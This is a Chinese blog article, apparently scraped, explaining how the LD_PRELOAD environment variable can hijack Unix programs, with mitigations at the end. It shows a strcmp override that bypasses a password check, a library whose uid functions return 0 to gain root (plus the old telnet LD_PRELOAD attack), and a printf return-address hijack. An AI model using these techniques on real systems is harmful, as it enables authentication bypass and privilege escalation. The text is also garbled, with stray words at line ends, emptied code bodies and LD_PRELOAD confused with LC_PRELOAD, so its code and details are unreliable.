也許這個話題並不新鮮,由於LD_PRELOAD所產生的問題由來已久。不過,在這裏,我仍是想討論一下這個環境變量。由於這個環境變量所帶來的安全問題很是嚴重,值得全部的Unix下的程序員的注意。程序員
在開始講述爲何要小心LD_PRELOAD環 境變量以前,請讓我先說明一下程序的連接。所謂連接,也就是說編譯器找到程序中所引用的函數或全局變量所存在的位置。通常來講,程序的連接分爲靜態連接和 動態連接,靜態連接就是把全部所引用到的函數或變量所有地編譯到可執行文件中。動態連接則不會把函數編譯到可執行文件中,而是在程序運行時動態地載入函數 庫,也就是運行連接。因此,對於動態連接來講,必然須要一個動態連接庫。動態連接庫的好處在於,一旦動態庫中的函數發生變化,對於可執行程序來講是透明 的,可執行程序無需從新編譯。這對於程序的發佈、維護、更新起到了積極的做用。對於靜態連接的程序來講,函數庫中一個小小的改動須要整個程序的從新編譯、 發佈,對於程序的維護產生了比較大的工做量。編程
當 然,世界上沒有什麼東西都是完美的,有好就有壞,有得就有失。動態連接所帶來的壞處和其好處同樣一樣是巨大的。由於程序在運行時動態加載函數,這也就爲他 人創造了能夠影響你的主程序的機會。試想,一旦,你的程序動態載入的函數不是你本身寫的,而是載入了別人的有企圖的代碼,經過函數的返回值來控制你的程序 的執行流程,那麼,你的程序也就被人「劫持」了。sass
LD_PRELOAD簡介安全
在UNIX的動態連接庫的世界中,LD_PRELOAD就是這樣一個環境變量,它能夠影響程序的運行時的連接(Runtime linker), 它容許你定義在程序運行前優先加載的動態連接庫。這個功能主要就是用來有選擇性的載入不一樣動態連接庫中的相同函數。經過這個環境變量,咱們能夠在主程序和 其動態連接庫的中間加載別的動態連接庫,甚至覆蓋正常的函數庫。一方面,咱們能夠以此功能來使用本身的或是更好的函數(無需別人的源碼),而另外一方面,我 們也能夠以向別人的程序注入惡意程序,從而達到那不可告人的罪惡的目的。分佈式
咱們知道,Linux的用的都是glibc,有一個叫libc.so.6的文件,這是幾乎全部Linux下命令的動態連接中,其中有標準C的各類函數。對於GCC而言,默認狀況下,所編譯的程序中對標準C函數的連接,都是經過動態連接方式來連接libc.so.6這個函數庫的。函數
OK。仍是讓我用一個例子來看一下用LD_PRELOAD來hack別人的程序。測試
示例一ui
咱們寫下面一段例程:spa
/* 文件名:verifypasswd.c */
/* 這是一段判斷用戶口令的程序,其中使用到了標準C函數strcmp*/
#include
#include
int main(int argc, char **argv)
{
char passwd[] = "password";
if (argc < 2) {
}
if (!strcmp(passwd, argv[1])) {
}
printf("Invalid Password!\n");
}
在上面這段程序中,咱們使用了strcmp函數來判斷兩個字符串是否相等。下面,咱們使用一個動態函數庫來重載strcmp函數:
int strcmp(const char *s1, const char *s2)
{
/* 永遠返回0,表示兩個字符串相等 */
}
編譯程序:
$ gcc -o verifypasswd verifypasswd.c
$ gcc -shared -o hack.so hack.c
測試一下程序:(獲得正確結果)
$ ./verifypasswd asdf
Invalid Password!
設置LD_PRELOAD變量:(使咱們重寫過的strcmp函數的hack.so成爲優先載入連接庫)
$ export LD_PRELOAD="./hack.so"
再次運行程序:
$ ./verifypasswd asdf
hack function invoked. s1= s2=
Correct Password!
咱們能夠看到,1)咱們的hack.so中的strcmp被調用了。2)主程序中運行結果被影響了。若是這是一個系統登陸程序,那麼這也就意味着咱們用任意口令均可以進入系統了。
示例二
讓咱們再來一個示例(這個示例來源於個人工做)。這個軟件是一個分佈式計算平臺,軟件在全部的計算機上都有以ROOT身份運行的偵聽程序(Daemon),用戶能夠把的一程序從A計算機提交到B計算機上去運行。這些Daemon會把用戶在A計算機上的全部環境變量帶到B計算機上,在B計算機上的Daemon會fork出一個子進程,並
且Daemon會調用seteuid、setegid來設置子程的執行宿主,並在子進程空間中設置從A計算機帶過來的環境變量,以仿真用戶的運行環境。(注意:A和B都運行在NIS/NFS方式上)
因而,咱們能夠寫下這樣的動態連接庫:
/* 文件名:preload.c */
#include #include #include
uid_t geteuid( void ) { return 0; } uid_t getuid( void ) { return 0; } uid_t getgid( void ) { return 0; }
|
在這裏咱們能夠看到,咱們重載了系統調用。因而咱們能夠經過設置LC_PRELOAD來迫使主程序使用咱們的geteuid/getuid/getgid(它們都返回0,也就是Root權限)。這會致使,上述的那個分佈式計算平臺的軟件在提交端A計算機上調用了geteuid獲得當前用戶ID是0,並把這個用戶ID傳到了執行端B計算機上,因而B計算機上的Daemon就會調用seteuid(0),致使咱們的程序運行在了Root權限之下。從而,用戶取得了超級用戶的權限而隨心所欲。
上面的這個preload.c文件也就早期的爲人所熟知的hack程序了。惡意用戶經過在系統中設計LC_PRELOAD環境變量來加載這個動態連接庫,會很是容易影響其它系統命令(如:/bin/sh, /bin/ls, /bin/rm 等),讓這些系統命令以Root權限運行。
讓咱們看一下這個函數是怎麼影響系統命令的:
$ id
$ gcc -shared -o preload.so preload.c
$ setenv LD_PRELOAD ./preload.so
$ id
uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)
$ whoami
root
$ /bin/sh
# <------ 你能夠看到命令行提示符會由 $ 變成 #
下面是一個曾經很是著名的系統攻擊
$ telnet telnet> env def LD_PRELOAD /home/hchen/test/preload.so telnet> open localhost # |
固然,這個安全BUG早已被Fix了(雖然,經過id或是whoami或是/bin/sh讓你以爲你像是root,但其實你並無root的權限),當今的Unix系統中不會出現這個的問題。但這並不表明,咱們本身寫的程序,或是第三方的程序可以避免這個問題,尤爲是那些以Root方式運行的第三方程序。
因此,在咱們編程時,咱們要隨時警戒着LD_PRELOAD。
如何避免
不能否認,LD_PRELOAD是一個很難纏的問題。目前來講,要解決這個問題,只能千方百計讓LD_PRELOAD失效。目前而言,有如下面兩種方法可讓LD_PRELOAD失效。
1)經過靜態連接。使用gcc的-static參數能夠把libc.so.6靜態鏈入執行程序中。但這也就意味着你的程序再也不支持動態連接。
2)經過設置執行文件的setgid / setuid標誌。在有SUID權限的執行文件,系統會忽略LD_PRELOAD環境變量。也就是說,若是你有以root方式運行的程序,最好設置上SUID權限。(如:chmod 4755 daemon)
在一些UNIX版本上,若是你想要使用LD_PRELOAD環境變量,你須要有root權限。但無論怎麼說,這些個方法目前來看並非一個完全的解決方案,只是一個Workaround的方法,是一種因噎廢食的作法,爲了安全,只能禁用。
另外一個示例
最後,讓我以一個更爲「變態」的示例來結束這篇文章吧(這個示例來自某俄羅斯黑客)。看看咱們還能用LD_PRELOAD來乾點什麼?下面這個程序comp.c,咱們用來比較a和b,很明顯,a和b不相等,因此,怎麼運行都是程序打出Sorry,而後退出。這個示例會告訴咱們如何用LD_PRELOAD讓程序打印OK。
/* 源文件:comp.c 執行文件:comp*/
#include
int main(int argc, char **argv)
{
}
咱們先來用GDB來研究一下程序的反彙編。注意其中的紅色部分。那就是if語句。若是條件失敗,則會轉到<main+75>。固然,用LD_PRELOAD沒法影響表達式,其只能只能影響函數。因而,咱們能夠在printf上動點歪腦筋。
(gdb) disassemble main
Dump of assembler code for function main:
0x08048368 <main+0>: push %ebp
0x08048369 <main+1>: mov %esp,%ebp
0x0804836b <main+3>: sub $0x18,%esp
0x0804836e <main+6>: and $0xfffffff0,%esp
0x08048371 <main+9>: mov $0x0,%eax
0x08048376 <main+14>: add $0xf,%eax
0x08048379 <main+17>: add $0xf,%eax
0x0804837c <main+20>: shr $0x4,%eax
0x0804837f <main+23>: shl $0x4,%eax
0x08048382 <main+26>: sub %eax,%esp
0x08048384 <main+28>: movl $0x1,0xfffffffc(%ebp)
0x0804838b <main+35>: movl $0x2,0xfffffff8(%ebp)
0x08048392 <main+42>: mov 0xfffffffc(%ebp),%eax
0x08048395 <main+45>: cmp 0xfffffff8(%ebp),%eax
0x0804839a <main+50>: sub $0xc,%esp
0x0804839d <main+53>: push $0x80484b0
0x080483a7 <main+63>: add $0x10,%esp
0x080483aa <main+66>: movl $0x0,0xfffffff4(%ebp)
0x080483b1 <main+73>: jmp 0x80483ca<main+98>
0x080483b3 <main+75>: sub $0xc,%esp
0x080483b6 <main+78>: push $0x80484b8
0x080483bb <main+83>: call 0x80482b0
0x080483c0 <main+88>: add $0x10,%esp
0x080483c3 <main+91>: movl $0x1,0xfffffff4(%ebp)
0x080483ca <main+98>: mov 0xfffffff4(%ebp),%eax
0x080483cd <main+101>: leave
0x080483ce <main+102>: ret
End of assembler dump.
下面是咱們重載printf的so文件。讓printf返回後的棧地址變成<main+75>。從而讓程序接着執行。下面是so文件的源,都是讓人反感的彙編代碼。
#include
static int (*_printf)(const char *format, ...) = NULL;
int printf(const char *format, ...)
{
if (_printf == NULL) {
/* 取得標準庫中的printf的函數地址 */
_printf = (int (*)(const char *format, ...)) dlsym(RTLD_NEXT, "printf");
/* 把函數返回的地址置到<main+< span="">75> */
/* 重置 printf的返回地址 */
);
}
你能夠在你的Linux下試試這段代碼。:)